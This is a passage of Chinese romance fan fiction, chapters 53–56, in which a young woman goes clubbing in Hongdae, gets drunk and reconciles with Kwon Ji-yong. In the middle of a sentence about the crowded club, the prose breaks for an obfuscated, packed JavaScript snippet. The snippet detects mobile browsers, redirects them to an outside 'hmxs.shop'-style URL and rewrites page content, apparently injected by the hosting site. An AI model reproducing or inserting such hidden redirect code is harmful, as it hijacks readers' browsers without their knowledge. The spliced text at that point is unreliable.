「我曾经为你唱的那首歌包含了我对你的全部感情其他人大概不会知道吧」 「你在哪啊 叫你的名字已经成为了我的习惯」 「我带给你的伤痕愈合了吗对不起我什么都不能为你做」 …… 初星用勺子挖着西瓜肉的动作僵在了半空。西瓜汁滴落在她浅色的裤子上,晕开一小团湿痕,她也浑然不觉。 对不起、我爱你、伤痕、习惯……这些词汇让她猛然想起那个深夜,他喝得烂醉如泥打来的电话,那痛苦又无助的哽咽声,仿佛穿越了数月的时光,与这首经过精心编排、却同样充满绝望深情的歌声严丝合缝地重叠在了一起,在她耳边无限放大。 初星的脸色一点点褪去血色,胸口闷得她几乎喘不过气来。刚才还觉得舒适凉爽的冷气,此刻变得寒气逼人,顺着毛孔钻进四肢百骸,让她下意识地抱紧了膝盖,将自己蜷缩起来。目光死死盯着电视屏幕,眼神却无法凝聚在任何具体的画面上。 珍雅察觉到了她的不对劲,慌忙抓起身边的遥控器,“啊!这、这歌不好听!我们换个台吧!看看有没有什么搞笑综艺放松一下……” “不用。”她就那样安静地听完了整首歌,没有发出任何声音,也没有改变姿势。 歌声最终在bye bye的尾音中结束,而后是主持人职业化的串场词和粉丝们疯狂的尖叫声。初星这才收回了目光低下头,视线落在木地板上那滩已经有些发暗的汁液上,长长的睫毛像两片疲惫的蝶翼,垂下来,掩盖住所有的情绪。 “……唱的什么啊,吵死了。”她最终只是低声嘟囔了一句,站起身,脚步有些虚浮地走向厨房,“西瓜吃完了,我去看看还有没有冰淇淋。” 珍雅担忧地看着她略显踉跄的背影,心里明白得跟镜似的。那首歌,精准地扎进了她试图深埋、却远未愈合的伤口深处。权至龙将他所有的痛苦、悔恨和挣扎,毫无保留地写进了歌里,唱给了全世界听,而其中最锋利、最致命的那根刺,无疑精准地命中了唯一能完全听懂每一个音符所承载的隐痛、哀求与绝望的人。 初星在厨房里磨蹭了好一会才出来,“喏,你的香草味。”她把一盒冰淇淋递给珍雅,自己撕开另一盒的包装,挖了巨大的一勺,粗暴地塞进嘴里。冰凉的甜意在舌尖迅速化开,冰冷的感觉一直蔓延到喉咙,却好像怎么也冻结不了心底那股翻涌不休的酸涩浪潮。 珍雅接过冰淇淋,小心地观察着她的神色,“初星,你……真的没事吧?” 初星用力地嚼着嘴里的冰淇淋,含糊不清地说:“能有什么事?就是天气太热了,闷得人心烦意乱。” 房间里一时间只剩下两人吃冰淇淋的声音,以及电视里传来的、被刻意忽略的模糊歌声。 “烦死了!”初星有些突兀地大声抱怨,猛地站起身,在原地烦躁地踱了两步,“一天到晚都是这些情情爱爱、要死要活的歌,听得人头昏脑胀,心情都变差了!” 珍雅被她这突如其来的激烈反应吓了一跳,看着她像只被困在笼子里的小兽般来回走动,明白这无名火的根源。她脑中灵光一闪,带着几分兴奋和怂恿转移话题:“就是!太闷了!初星,要不……我们别窝在家里了,出去玩玩?彻底换个心情!” 初星停下脚步,看向她,眉头微蹙:“去哪?这个时间点,街上热得像烤炉。” 珍雅凑近一些,压低声音,脸上露出探索新领域的兴奋和神秘感:“我们去夜店怎么样?听说弘大那边新开了一家,氛围特别棒!音乐也带劲!我们都还没正儿八经去见识过呢!就去疯狂一下,发泄发泄!” “夜店?”初星愣了一下。这对她们这样习惯了校园和家庭生活的女孩来说,确实是个全新的“出格”的,带着冒险意味的领域。但那股想要打破眼前沉闷局面的冲动,强烈地占据了上风。 她只是犹豫了短短几秒,便同意了,“好!就去夜店!换衣服!要……要最辣的那种!” 两人瞬间被这个大胆的计划点燃了,刚才的低气压一扫而空。她们冲进卧室,翻箱倒柜,最终找出两身紧身吊带裙和热裤——这几乎是她们衣柜里最大胆的装扮了。细细的肩带挂在白皙纤瘦的肩头,仿佛不堪重负,露出大片光滑的肌肤和精致的锁骨线条;短裤则紧紧包裹着臀腿,长度堪堪遮住大腿根部,展现出青春身体肆无忌惮的饱满曲线。 她们对着镜子,笨拙地给对方化了个比平时浓重得多的妆容——眼线刻意拉长飞起,亮片眼影在灯光下闪烁出诱人的光泽,嘴唇涂得饱满而鲜亮,像熟透的果实。 看着镜子里散发着陌生而直白的性感气息的倒影,两人内心既紧张又激动,心脏怦怦直跳,像揣了只小鹿。她们互相打量着,忍不住又因为这份陌生感而紧张,又因为这份突破而兴奋地笑出声,笑声里带着颤音。 “我们这样……真的行吗?会不会太夸张了?感觉像换了个人似的……” “怕什么!夜店不都是这样穿吗!好看!走走走!再不出去天都黑了!” “说好了啊,就去看看新鲜,跳跳舞,喝一杯感受下气氛就走!不准贪玩!” “知道啦!啰嗦!快走快走!我都等不及了!” * 弘大夜晚的街道比白天更加喧嚣躁动。霓虹灯牌闪烁着迷离的光芒,各种风格的音乐从不同的店铺里流淌出来,年轻的人潮摩肩接踵。初星和珍雅既紧张又兴奋地找到了那家新开的夜店。刚靠近门口,震耳欲聋的电子音乐和频闪的灯光就如同巨浪般将她们彻底吞没。 挤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791759|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过熙攘拥挤、弥漫着各种香水、酒精和汗水混合气味的人群,两人好不容易在一个相对边缘的卡座角落坐下,点了两杯名字花哨、颜色缤纷漂亮、据说酒精度数很低的鸡尾酒。几口冰凉的液体下肚,一股暖流从胃里升起,加上周围热烈到几乎燃烧、每个人都沉浸在节奏中的气氛烘托,两人最初的那点拘谨很快被抛到了九霄云外。她们相视一笑,手拉着手,冲进了舞池中央那片沸腾的海洋,随着强劲节奏的笨拙投入地摆动起身体,音乐驱散了脑中所有的思绪。 初星闭着眼,感受着音乐穿过身体的震颤,感觉到有人从身后轻轻拍了一下她的肩膀。她疑惑地回头,在令人眼花缭乱的灯光和音浪中,一张带着惊讶和灿烂笑容的熟悉脸庞,穿透混乱的感官刺激,清晰地映入她的眼帘——竟然是胜利! “初星怒那?!珍雅怒那!真的是你们啊!”胜利凑近大声喊着,以盖过震耳的音乐,脸上满是他乡遇故知的惊喜,“哇!太巧了吧!你们也来这里玩?我都没想到!” “胜利呀!你怎么也在这!”珍雅也大声回应。 “我来放松一下啊!刚结束练习没多久,没想到碰到你们!太有缘了!”胜利笑得眼睛弯成两道月牙,自然地就融入了她们的舞动,他的舞姿明显比她们娴熟自如得多,“怒那们跳得不错啊!很有感觉!” 胜利本就是活跃气氛的高手,舞也跳得好,在他的热情带动下,初星和珍雅彻底放开了自我,之前那些细微的紧张和顾虑消失无踪,完全沉浸在音乐、自由的舞蹈和单纯的、忘却一切的快乐里。又趁着初星和珍雅背对着他、正跟着激烈的鼓点尽情跳跃的瞬间,极其快速地从裤子口袋里掏出手机,身体微微侧转遮挡,手指在屏幕上飞快地按动着。 【哥!急讯!弘大XX夜店!初星怒那和珍雅怒那都在!速来!机会难得!】 信息发送成功,胜利利落地塞回口袋,继续随着音乐摇摆身体,甚至还对着转回身来的初星,夸张地竖了个大拇指,嘴型夸张地夸赞:“怒那!跳得太棒了!” 而刚刚结束一天繁重紧凑的日程、正准备返回宿舍的权至龙,放在口袋里的手机震动了一下,打破了车内的沉寂。屏幕亮起,照亮他略显憔悴的脸庞。当他的目光扫过那行文字时,整个人僵了一瞬。 夜店?弘大?她怎么会去那种地方?和珍雅一起?胜利也在那里? 他立刻对前方开车的助理报出了地址,声音因为突如其来的急切和紧张而显得有些失态:“麻烦快一点!用最快的速度!去弘大XX夜店!” 车子调头,轮胎摩擦地面发出刺耳的声音,汇入夜晚依旧川流不息、灯火辉煌的车河。至龙重重地靠回椅背,车窗外的霓虹灯光如同流动的彩带,飞速掠过他紧绷的侧脸,映照出他眼中无法掩饰的慌乱、担忧和失控般的冲动。心脏在胸腔里狂野地狂跳起来,咚咚咚地撞击着肋骨,手心甚至沁出了一些冷汗。他不知道自己去到那里具体能做什么,能说什么样的话才合适,他也不确定初星在那种迷幻喧嚣的环境下,看到突然出现的他,会是怎样的反应——是惊讶?是厌恶?是尴尬?还是彻底的漠视和拒绝?但脑海中有一个念头清晰无比:必须立刻、马上赶到那里。他必须亲眼确认她的安全,必须……必须见到她。 见一面就好…… 看着她就好…… 确认她的安全就好…… 即使……她会讨厌我。 54.第 54 章 几杯颜色绚丽、后劲却不容小觑的酒下肚,混合着运动后加速的血液循环,开始在体内发挥出强大的效力。初星的身体变得轻飘飘的,仿佛踩在松软的云朵上,脚下的地板似乎都在随着节奏起伏。周围的喧嚣仿佛隔了一层毛玻璃,变得模糊而遥远,只剩下身体本能地随着节拍摇摆。 珍雅醉得更厉害些,她的平衡感已经完全被酒精剥夺,脚步虚浮,像个不倒翁一样左摇右晃。半个身子都软绵绵地挂在了胜利身上,脑袋靠在他的肩头,发出咯咯的傻笑声,眼神涣散,显然已经不太能分辨清楚方向和身边的人。 胜利可谓是手忙脚乱,焦头烂额。他用尽全身力气支撑住珍雅不断下滑的身体,防止她真的瘫倒在地成为一滩“烂泥”;同时还要分神关注着虽然也在摇晃但尚且能自己站立的初星,生怕她一个不稳也摔倒或是被拥挤的人群撞到。他的眼神焦急飘向入口的方向,额头上渗出了细密的汗珠,心里暗暗祈祷着救兵能快点出现,这“保姆”的活儿可真不是人干的! 良久,拥挤的人潮像是被一股无形的力量轻轻拨开,一个身影艰难地挤了进来。至龙穿着一身毫不起眼的深色休闲装,与周围那些穿着闪亮时尚的年轻男女对比,显得格格不入。他头上戴着一顶黑色的鸭舌帽,帽檐压得极低,几乎遮住了大半张脸,脸上还架着一副能遮住半张脸的黑色方框眼镜,再加上一个严实的黑色口罩,将面容隐藏得严严实实。 他的目光如同锐利的探照灯,焦灼地扫过人影幢幢的舞池,在那些晃动闪烁的模糊面孔中急切地搜寻着。视线猛地定格在舞池中央偏右的位置,他看到了那个让他心脏骤停的身影。 初星正独自随着节奏有些摇晃地摆动着身体。她的脸颊红得像熟透的苹果,一直蔓延到脖颈;原本清亮的眼神变得迷离恍惚,失去了焦点,蒙上了一层水润的薄雾;那身紧身的黑色吊带和短得惊人的热裤,在她这种意识模糊的状态下,将身体曲线暴露无遗,在迷幻的灯光下显得格外刺眼,也让他心中的担忧和怒火瞬间飙升到了顶点!而旁边,胜利正一脸狼狈、咬牙切齿地努力架着已经东倒西歪、像个树袋熊一样挂在他身上的珍雅。 至龙快步拨开身边拥挤的人群,无视了所有投来的好奇或不满的目光,径直冲到了他们面前。他先是扫了一眼珍雅,确认她还被扶着,然后目光立刻回到初星身上,紧紧锁住她,急促地问道:“怎么喝这么多?!在这种地方太危险了!” 他的突然出现让沉浸在酒精带来的快乐和舞蹈释放中的初星吓了一跳。她迷蒙地抬起头,眨了眨模糊了焦距的眼睛,努力地想要看清眼前这个挡住了光线的男人。她歪着头,带着醉汉特有的专注和困惑,盯着他看了好几秒,在他帽檐下的阴影、眼镜的边框和口罩的轮廓上逡巡。终于,那熟悉的轮廓线条和声音质感,穿透了层层伪装和浓重的醉意,抵达了她混沌的意识深处。 她咧开嘴,露出傻气十足的笑容,带着浓重的鼻音和拖长了尾音的撒娇语调,像是看到了最信赖的人,毫不犹豫地张开双臂,整个人就像一只归巢的乳燕,软绵绵地朝着他扑了过去: “至龙……?是你吗……你……你怎么才来呀……”她的小脸自然而然地埋进他的胸膛,依赖地蹭了蹭,随后仰起头,迷离地看着他被帽檐和眼镜遮挡得严严实实的脸,嘟着被酒水润泽得鲜红的嘴唇,含糊不清地要求:“……抱抱……要至龙抱抱……我头好晕哦……” 至龙整个人,从身体到灵魂,都彻底僵住了。 怀里是她温软得不可思议的身体,耳边是她软糯得能融化一切的撒娇。所有的担忧和愤怒,被这突如其来的如同幼兽般的全然依赖,瞬间抚平了大半,紧接着的是铺天盖地的心酸、柔软和一种几乎要让他落泪的失而复得感。她还能认出他,还能这样扑向他…… 他用尽了全身的克制力才没有更用力地收紧手臂,而是稳稳地伸出双手,接住她软倒下来的身体,将她圈进自己怀里。隔着薄薄的T恤面料,他能清晰地感受到她身上过高的体温,以及她心脏快速而有力的跳动,一下下撞击着他的胸口。这体温让他刚刚稍缓的担忧又提了起来。 “……娜比……”他的喉咙像是被一团浸满了酸楚的棉花死死堵住,只是一个气音,充满了复杂的情感。 初星对他这种克制的回应感到不满,在他怀里不安分地扭动了一下,继续用能把人骨头都酥掉的软音撒娇,“抱紧一点嘛……我头好晕哦……都要站不稳了……至龙……要抱紧紧的……” 至龙深深地吸了一口气,混杂的酒精味和荼蘼花香让他有些眩晕,但他更用力地压下了复杂得难以辨明的情绪。他收紧手臂,将她更紧地、几乎要嵌进自己身体里一般搂在怀里,手放在她的后背,轻轻拍打着,仿佛在安抚一个受惊的孩子:“好,抱紧。抱紧紧的。娜比乖,没事了,我来了,我在这里。” 听到他的保证,初星似乎非常满意,她也咯咯地笑了起来,踮起脚尖在他戴着口罩的下巴位置亲了一下,发出了一声在嘈杂音乐中几乎微不可闻却又如同惊雷般炸响在他耳边的“mua”声。酥麻感迅速窜遍全身,让他浑身不受控制地一震! 帽檐和眼镜遮挡下的眼睛睁大到了极限,脑子里出现一阵幸福的眩晕感。他呆呆地看着怀里这个笑得傻气又毫无防备的女孩。 亲完之后,初星像是完成了一项重大而光荣的任务,重新软绵绵地瘫软在他怀里,小脸仰着,含糊不清地邀功: “……奖励……给乖至龙的……奖励……嘻嘻……” 旁边,醉醺醺的珍雅也捕捉到了这“精彩”的一幕,她拍着手,笑得更放肆了:“哇……啵啵……初星……厉害……棒……” 胜利看着这完全失控、堪比八点档青春偶像剧的场面,一手费力地架着珍雅,另一只手绝望地捂住了自己的眼睛,心里疯狂哀嚎:至龙哥啊!我让你来是救场、是当保镖的!不是让你来演深情男主、现场发糖的啊!而且为什么最后受苦受累、当牛做马的是我啊!老天爷! 至龙被珍雅的笑声猛地拉回神,压下脑海中所有冲动的想法,打横抱起已经开始有点打瞌睡、小脑袋一点一点的初星,用自己的身体和手臂尽可能形成一个保护性的屏障,挡住她裸露的肌肤和醉后的模样,也隔绝周围那些或好奇或探究的目光。 他看了一眼正在与“一滩烂泥”作斗争、脸上写满生无可恋的胜利,“还能行吗?拿上她们的东西,跟紧我!马上离开这里!” 吩咐完,他不再犹豫,抱着怀中温软乖巧的人,感受着下巴位置那残留的柔软触感和微微的湿润感,迈开腿,快步朝着喧嚣的出口方向走去。胜利咬咬牙,半拖半抱地架起手舞足蹈的珍雅,另一只手胡乱抓起沙发上散落的包包,踉踉跄跄地跟上至龙的步伐。 出来后微凉的空气扑面而来,让人的精神为之一振。至龙又将怀里的初星往自己胸口又拢了拢,尽可能遮住她裸露在外的肩头、手臂和短裤下的大部分肌肤,为她抵挡夜风的侵袭。 “车……车停在哪了?”胜利气喘吁吁地问,他感觉自己的胳膊快要脱臼了,珍雅全身的重量都压在了自己身上。 至龙抬了抬下巴,示意停在稍远处的车。“那边。快走,别停留。” 走到车边,至龙拉开车门,轻柔地将初星放进宽敞的后座,她在移动中嘤咛了一声,无意识地蹭了蹭柔软的座椅,调整了一个更舒服的姿势,依旧睡得很沉,对周遭的一切毫无知觉。至龙仔细地帮她整理了一下歪斜的吊带,才轻轻关上车门。他转身,帮胜利一起,将珍雅也小心翼翼地塞进车里。珍雅脑袋一歪,发出一声轻微的鼾声,也陷入了沉睡。 “上车。”至龙简短地命令道,自己拉开副驾驶的门坐了进去。胜利长长地舒了口气,绕到驾驶座,发动了车子。 “哥,”胜利平稳地启动车子,观察着至龙的脸色,“现在……送怒那们回哪里?回初星怒那的公寓吗?” 至龙透过后视镜,看着后座上睡着的初星,她红扑扑的脸蛋在窗外偶尔掠过的路灯光下显得格外恬静。沉默了片刻,眉头微蹙。送她回那个空荡荡的、曾经发生过恐怖恐吓事件、留下心理阴影的公寓?他根本不放心,尤其是在她毫无自卫能力的醉态下。“ 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至龙走到房间配备的迷你吧,拿了两瓶冰镇的矿泉水,扔给胜利一瓶,自己拧开一瓶,仰头灌了几大口,冰凉的液体滑过喉咙,缓解了一些焦渴和疲惫。 “哥,”胜利坐起来,接过水,咕咚咕咚喝了大半瓶,表情变的有些歉疚,挠了挠头,“对不起,今晚这事……我好像搞砸了。我就是看怒那们玩的很开心,才……没想到最后变成这样,还把你给折腾来了……”他的声音越说越小。 至龙靠在吧台上,揉了揉发胀的眉心,“不怪你。你做得对,通知得很及时。幸好你通知了我。我不敢想象,如果今晚我们都不在,两个喝得烂醉的女孩在那种地方……会遭遇什么。”那种可能性让他现在想起来都脊背发凉。 胜利看着至龙苍白疲惫的脸色和眼底的阴影,犹豫了一下,小声问出了最关键的问题:“明天早上……等怒那们酒醒了……怎么办?特别是初星怒那……”他可是亲眼目睹了那“奖励”性的一吻,这醒来后的尴尬场面,光是想想就让人脚趾抠地。 至龙握着水瓶的手不自觉地收紧,塑料瓶身发出轻微的咯吱声。他的眼神暗了下去,像蒙上了一层灰烬。他沉默了几秒,才低声回答,声音里带着明显的涩然和无可奈何:“……不知道。走一步看一步吧。等她醒了……看她怎么说。” 他又安排道:“珍雅那边,明天早上你多照顾一下。等她醒了,好好跟她解释一下情况,尽量说得……委婉一点,别让她太尴尬或是有心理负担。” “我知道,哥,你放心,交给我。”胜利连忙点头,这点眼力见他还是有的。 “时间不早了,你也累坏了。”至龙看了看窗外的夜色,“你就在客厅沙发休息吧,或者去另一间次卧睡。珍雅晚上醒了口渴或者不舒服,也好有个照应。” “好,哥你也休息一下吧。”胜利应下,重新瘫倒回沙发里。 至龙没再说什么,转身,重新进入主卧。 他走到床旁边的椅子上坐了下来。就借着床头灯那点可怜的光晕看着她沉睡的容颜。 他知道自己最理智的做法应该是离开这个房间,去客厅或者另一间卧室,给她留下足够的空间和隐私。明天她酒醒后,发现他就在床边守了一夜,情况可能会变得更加尴尬和难以收拾。但是,他做不到。他无法放心让她一个人待在陌生的酒店房间,他怕她半夜醒来会口渴难忍、会因为宿醉而头晕呕吐、会在陌生的黑暗中感到害怕无助…… 所以,他选择了留下。静静地守着,目光一遍又一遍地、细致地描摹着她熟睡中柔和放松的轮廓,长长的睫毛在眼睑下投下淡淡的阴影,挺翘的鼻尖,微微张开的、带着自然红润的嘴唇……脑海里反复回放着夜店里那个带着甜腻酒气和无限亲昵的、突如其来的柔软亲吻,以及她那句含糊不清却如同天籁的“奖励……给乖至龙的……”。 这份在酒精催化下偷来的亲密,明知是饮鸩止渴,明知醒来后可能面对的是更加冰冷的现实和更远的距离,却依旧让他像上了瘾的瘾君子一般,沉溺其中,甘之如饴,无法自拔。他愿意用明日可能的万丈深渊,换取此刻这片刻的、虚幻的宁静相守。 55.第 55 章 夜色悄然褪去,天际由深邃的墨蓝逐渐过渡为朦胧的灰白,远方的建筑轮廓在晨曦中格外安静,整个世界都沉浸在平和而温柔的苏醒之中。 初星费力地睁开眼皮,视线先是模糊一片,只能看到朦胧的光晕,过了好几秒才逐渐适应了室内昏暗的光线,看着陌生的天花板轮廓和陌生的布置。 这是哪里?记忆如同被搅浑的湖水,缓慢地沉淀、清晰起来——昨晚的音乐、灯光、酒精、胜利、还有…… 她下意识地想动一下僵硬的身体,却立刻感觉到自己的右手被一股温热而坚实的力量包裹着。 疑惑地转过头——至龙就睡在床边的椅子旁,身躯极其别扭地向前倾伏,额头枕在她手边。大手包裹着她的右手,掌心传来的温度熨帖着她微凉的皮肤。眉头微微蹙着,眼下的乌青清晰可见。整个人莫名流露出孩子气的依赖和令人心碎的脆弱。 初星看着至龙,那些令人脸热的记忆碎片,争先恐后地涌现:震耳欲聋的音乐,自己笨拙摇晃的舞步,扑向他时的依赖,索要拥抱时的撒娇……以及,自己主动印上去的亲吻…… 羞赧和尴尬烧红了她的耳根。但更强烈地占据她心房的,是被眼前这一幕触动的怜惜。她看着他毫无戒备的睡颜,看着他深陷梦境也紧握自己的手,看着他眉宇间挥之不去的倦意和担忧……那些因为恐惧、委屈而筑起的冰墙,被这份脆弱击出了一道深深的裂痕。 她试图将自己的手从他的掌心中抽出来,至龙在睡梦中似乎也感知到了细微的抽离,眉头蹙得更紧了些,喉咙里发出无意识抗议的含糊呢喃,手臂更紧地收拢了一下,仿佛在梦中也在挽留。 初星的心再次软成一滩春水。她撑起有些酸软无力的身体,宿醉带来的眩晕让她动作有些虚浮,但她还是坚持着向他靠近。目光如同最细腻的画笔,紧紧锁在他线条清晰的侧脸上,描摹着他熟悉的轮廓。 她想触碰他,想抚平他眉间的褶皱。 唇瓣印在了他的脸上。 至龙的眼睛倏地睁开了! 他的瞳孔在最初的朦胧和迷茫后,以惊人的速度聚焦,定格在近在咫尺的、那张他朝思暮想的脸上。脸颊上清晰无误的柔软触感和微湿的暖意,击碎了他所有的睡意! 四目相对,距离近得能看清彼此眼中自己的缩小倒影,能感受到对方温热的呼吸拂过皮肤,能数清对方因惊讶而微微颤动的睫毛。 初星只是微微向后仰了一点点,拉开的距离微乎其微,保持着靠近他的姿势。脸颊上不受控制地染上一抹红晕,但她的眼神却相对平静,就那样静静地回望着他,仿佛在耐心地、甚至是鼓励地等待着他的反应。 至龙呆住了,烟花在脑海中炸开。被亲吻的地方像被点燃了的炭火,滚烫的感觉以那里为中心,迅速蔓延至全身血液。但比这灼热触感更让他悸动的是她眼中那久违的柔和,里面没有了之前的恐惧、疏离和怨怼,取而代之的是他无比渴望的平静,甚至……潜藏着一丝微弱的眷恋的神情?! 他猛地伸出手臂,一把将她紧紧地箍进自己怀里!几乎要将她揉碎在自己心跳如雷的胸膛,声音带着失而复得般、深恐再次失去的恐慌与激动,热切地在她耳边低喃: “……娜比……娜比……是真的吗?我不是在做梦吧……别离开我……求你了……不要再推开我了……好不好?没有你的日子,每一天都是煎熬……” “《谎言》……那首歌……每一个字、每一个音符都是写给你的……没有你……我什么都做不好……我就像个失去了灵魂的空壳……行尸走肉……” “我好爱你……真的……不能没有你……我爱你爱到不知道该怎么办才好……” 他将脸深深埋进她颈窝柔软的发丝间,汲取着她身上熟悉的淡淡香气,高大的身躯无法控制地微微发抖,仿佛要将这几个月的思念、悔恨、担忧和爱意全部通过这个拥抱传递给她。 初星听着他语无伦次却都真挚无比的告白,感受着他的不安,心里最后那点冰墙,终于在这炽热的情感冲击下,融化、崩塌。她不再犹豫,伸出手,一下下地拍着他的脊背,无声地传递着“我在,我听到了”的讯息。 回应般的动作让至龙激动的心情稍微平复了一些,但拥抱的力度丝毫未减。过了好一会儿,他才微微抬起头,双手捧住她的脸,指腹不停地摩挲着她细腻的脸颊,“娜比,我向你保证!绝不会再让你经历那些可怕的事情!你相信我!绝不会!我请保镖!请最好的、最专业的!他们会用最谨慎、最不引人注意的方式跟着你,绝对、绝对不会打扰到你的正常生活和学习!你上课,他们就在教室外面安静地等你!你逛街,他们就在不远处守着!” 他看着她眼眸中仍有隐隐的顾虑,立刻又急切地提出另一个方案,恳求道:“或者……或者还有一个更好的选择……你搬来我们宿舍下面一层住,好不好?正好有空着的套房,环境和设施都很好!那是公司的产业,安保级别是最高级的,入口24小时都有专业的保安值守,监控无死角!比你单独住要安全太多、太多倍了!而且……而且,离我也……近一点。万一……万一你有什么事,或者哪里不舒服、需要人帮忙,我都能立刻赶到,马上出现在你身边……我能更好地……照顾你。” 最后几个字,他说得极轻,却又蕴含着沉甸甸的承诺。 “离我也近一点”传入耳中,初星微微扬起下巴,斜睨着他,眼波流转,拖长了语调: “哦——?住的离你那么近啊……” 她戏谑的目光在他脸上逡巡,“权至龙,你老实交代,这么安排……到底是打什么主意呢~?嗯?” 至龙被她这突如其来的、“直击灵魂”的质问弄得一愣,随即,肉眼可见的所有裸露在外的皮肤都染上了鲜艳的红色。他看着她眼里那抹久违的、灵动的、闪着促狭和生动光彩的眼神,嘴痒痒的,心脏也又痒又软。她还会这样跟他开玩笑,还会这样“刁难”他,这比任何承诺都更让他安心。 他不好意思地抿了抿嘴,眼神不敢直视她,但又鼓起勇气,重新聚焦在她脸上,“坦白从宽”般地交代:“……想……想能随时看到你……确认你是安全的、好好的……想保护你,不让你受一点伤害……想……离你近一点……哪怕只是知道你在楼下,和我呼吸着同一片空气……心里就觉得踏实……也能……多和你待一会……”越说声音越小,到最后几乎成了含在嘴里的咕哝,但那份炽热、纯粹的心意,却明晃晃地摊开在她面前,毫无保留。 看着他这副又认真又害羞的可爱模样,听着他笨拙却无比真挚的交代,初星忍不住笑了出来。 她捏了捏他红得发烫的耳垂,“哼~算你老实!看在你还算诚实的份上……以后的表现,我就拭目以待咯!” 这话等于默认、原谅和给予机会,让至龙欣喜若狂!他再也抑制不住内心的激动,低头在她的额头上落下了温柔的吻。 “嗯!我一定好好表现!用我的一辈子来表现!”他用力地点头 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至龙将几个食盒递给胜利和珍雅:“这是你们的,看看合不合口味。” 然后,他拉着初星在沙发坐下,自己紧挨着她身边坐下。打开粥盒的盖子,温暖香甜的米肉香气立刻弥漫开来,勺子轻轻搅动了一下,让热度均匀,舀起一勺粥,吹了吹,又用嘴唇碰了碰勺沿,确认温度确实适口了,才递到初星嘴边,“来,先喝点粥,暖暖胃。慢点喝,小心烫。” 初星乖乖地张开嘴喝了进去。温热的粥滑入有些灼痛的胃中,确实带来了一丝舒缓的暖意。但咽下去后,味蕾感受到了米粒的口感,小声嘟囔:“粥不好吃……米有点硬,没有熬到火候,吃起来不够绵软,味道也淡兮兮的……不够香……” 至龙连忙哄道:“不好吃吗?米硬了?味道淡了?米亚内米亚内~我在最近的一家看起来还不错的店买的,没来得及多跑几家仔细挑。” 他的脸上写满了懊恼,又舀起一勺,更加认真地吹了吹,再次递到她嘴边,像是在哄最容易闹脾气的小朋友,带着十足的耐心和诱哄:“这次先算了好不好?胃还痛着呢,空着会更难受。我们多少吃一点,把胃垫一垫,等舒服点了,想吃什么我们再去买,嗯?我保证!带你去找全首尔最好吃、最软糯的那家粥铺!或者……或者我学着给你做!我认真学!肯定做得香喷喷的,绝对合你的口味!好不好?” 初星看着他这副样子,那点因为身体不适而产生的小挑剔和嫌弃瞬间就烟消云散了。她忍着嘴角想要上扬的冲动,撇撇嘴,做出勉为其难的样子,但还是顺从地张开嘴,喝下了再次递到嘴边的粥,含糊地应了一声:“……嗯。” 至龙这才松了口气,紧皱的眉头舒展开来,眼里满是欣慰和满足,又拿起温热的香蕉牛奶,插好吸管,递到她手里,“慢慢喝,这个是你常喝的牌子,味道肯定没变。” 旁边的胜利和珍雅看着旁若无人的喂食,交换了一个“没眼看”、“甜齁了”的眼神,默默地打开面前的食盒,低头猛吃,假装只是两个没有感情的吃饭机器,但嘴角都疯狂上扬,泄露了内心的姨母笑。胜利还用口型对珍雅吐槽:“看吧,我就说至龙哥这辈子没救了,这哪是男朋友,这简直是养了个小祖宗。” 至龙就这样完全无视了另外两个“电灯泡”,一口一口地喂初星喝粥,时不时轻轻擦擦她的嘴角。似乎喂她吃饭、照顾她就是他最重要、最幸福的事。 56.第 56 章 初星的新家安置得特别快。在她点头同意后的隔天,至龙就以"闪电战"的效率,帮她完成了全部搬迁工作。新家在他们宿舍的正下方一层,三室一厅两卫,宽敞明亮。厨房设备崭新齐全,还有一个可以俯瞰城市街景的小阳台。最让初星感到安心的,是楼层入口处24小时都有保安值守,这种无处不在的安全感,是她独自居住时从未有过的体验。 闲暇时,成员们约好了来暖房,顺便庆祝她和至龙重归于好。至龙一大早就跑到了楼下,围着初星转悠,抢着帮忙准备饮料、摆放零食,乐此不疲地忙前忙后,全身洋溢着幸福和满足感,仿佛布置的不是一个临时聚会的客厅,而是他们未来的小家。 门铃清脆地响起,至龙从沙发上弹起来,快步冲过去开门。 "哇!怒那的新家真不错!采光真好!"胜利一进来就大声嚷嚷着,四处打量,还不忘对比一下,"比我们那间看起来新多了!” "恭喜搬家。”永裴温和地笑着,递上一盆生机勃勃、叶片翠绿的绿植,"希望新家充满生机。" 大声也送上自己的礼物,笑容真诚:"祝贺和好!要一直一直幸福下去哦!" 崔胜铉默默递上一个包装精美的盒子,“恭喜。" 至龙一一笑着接过礼物,初星心里暖融融的,连忙招呼大家:"谢谢你们!真的太感谢了!随便坐,千万别客气。”至龙又忙碌着给大家倒饮料,初星则站在他身边,手臂轻轻环着他的肩膀。 大家饮料还没喝上两口,的闲聊才刚刚开始,门铃又"叮咚"响了起来。 "嗯?还有谁?"至龙疑惑地蹙了下眉,他记得该来的人都到齐了,珍雅不是说了今天有事不过来了吗? 初星也摇了摇。 至龙再次起身去开门。 门外站着两个女孩,脸上还带着刚结束高强度练习后的疲惫痕迹,额角还有未干的汗珠——朴春和李彩琳(CL)。 "啊……至龙欧巴?"CL惊讶地眨了眨眼睛,后退了半步又四处看了看,脸上写满了错愕,"你们……怎么在这儿?"她探头朝屋里望了望。 朴春更加懵懂,她有点呆呆地看了看门牌号,又看了看至龙,慢半拍地疑惑道:"嗯?我们没走错啊……是新邻居家吧?至龙你怎么……从里面开门?" 至龙看到是她们,侧身让开通道:"没走错,进来吧,我们正在给新邻居暖房呢。" 朴春"哦"了一声,虽然还是有点没太明白状况,但还是呆呆地跟着CL走了进去。CL活泼地探头,看到屋里坐着的其他成员和初星,露出笑容,恭敬地鞠躬问好:"欧巴们好!打扰了!" 屋里的队员看到她们,也热情地打招呼:"春怒那!彩琳!快来坐!" 朴春看到有些眼生的初星,又隐约觉得似乎在哪里见过,莫名的熟悉感萦绕心头。她歪着头,努力地思考着,“这位是……新来的练习生妹妹吗?好像没见过……但又觉得哪里……" 